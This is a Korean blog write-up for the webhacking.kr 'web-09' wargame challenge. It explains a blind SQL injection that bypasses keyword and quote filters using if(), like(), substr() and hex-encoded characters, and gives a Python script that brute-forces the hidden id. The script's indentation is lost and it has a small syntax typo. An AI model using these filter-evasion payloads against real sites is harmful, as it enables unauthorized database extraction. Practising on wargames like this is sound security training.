문제
문제풀이
index.php 페이지에 접속하면 no 파라미터로 값을 전송할 수 있다.
1 전송 시, Apple,
2 전송 시, Banana
3 전송 시, Secret이 나온다.
메인의 패스워드 입력창에 no 3 id를 입력하면 문제가 해결되는 것 같다.
Blind Injection을 수행하여 no 3의 아이디를 알아낼 수 있다.
select, 공백, /**/, from 등 문자열이 필터링되어 Access Denied가 출력된다.
if - like을 사용하여 id 길이와 문자열을 추측할 수 있다.
- LIKE
특정 문자열 패턴을 검색하는데 사용되는 연산자
데이터베이스 테이블에서 문자열의 부분 일치나 패턴 일치를 검색할 수 있다.
두가지 와일드카드 문자와 함께 사용 (%, _)
% : 어떤 문자열이든 0개 이상의 문자를 나타냄
_ : 어떤 문자든 하나의 문자를 나타냄
id 길이 확인
if(length(id)like(N),M,K)
length(id)가 N에 일치하는 모든 행을 가져오고 no=M인 값을 찾는, 두가지 조건을 수행한다.
ex) if(length(id)like(5),1,0)
id가 5이면서 no=1인 값을 찾기 때문에 Apple을 반환한다.
if(length(id)like(N),3,0)
no=3인 값을 찾기 때문에 위와 같이 작성해야 한다.
id 값 확인
if(substr(id,{},1)like({}),3,0)
id 값의 첫번째 문자부터 하나씩 비교하여 찾는다.
따옴표는 필터링되므로 16진수로 변환하여 구한다.
- substr() 함수
문자열에서 부분 문자열을 추출하는 함수
substr(original_str, start_position, length)
original_str : 부분 문자열을 추출할 원래 문자열
start_position : 추출 시작할 위치, 첫번째 문자는 1부터 시작
length : 추출할 부분 문자열 길이
코드
import requests
cookie={'PHPSESSID':'{cookie_val}'}
for i in range(0, 50):
query = "if(length(id)like({}),3,0)".format(i)
url = "https://webhacking.kr/challenge/web-09/index.php?no={}".format(query)
res = requests.get(url,cookies = cookie)
if (res.text.find("Secret") != -1):
print("id길이 : {}".format(i))
len = i
break
keyword = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFFGHIJKLMNOPQRSTUVWXYZ"
pw = ""
for i in range(1, len + 1):
for key in keyword:
query = "if(substr(id,{},1)like({}),3,0)".format(i,hex(ord(key)))
url = "https://webhacking.kr/challenge/web-09/index.php?no={}".format(query)
res = requests.get(url,cookies = cookie)
if (res.text.find("Secret")! =- 1):
pw += key
print(pw)
break
print("pw : {}".format(pw))
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-11 (0) | 2023.10.17 |
---|---|
[Webhacking.kr] old-10 (0) | 2023.10.17 |
[Webhacking.kr] g00gle2 (0) | 2023.09.21 |
[Webhacking.kr] RPG1 (0) | 2023.09.21 |
[Webhacking.kr] old-08 (0) | 2023.02.27 |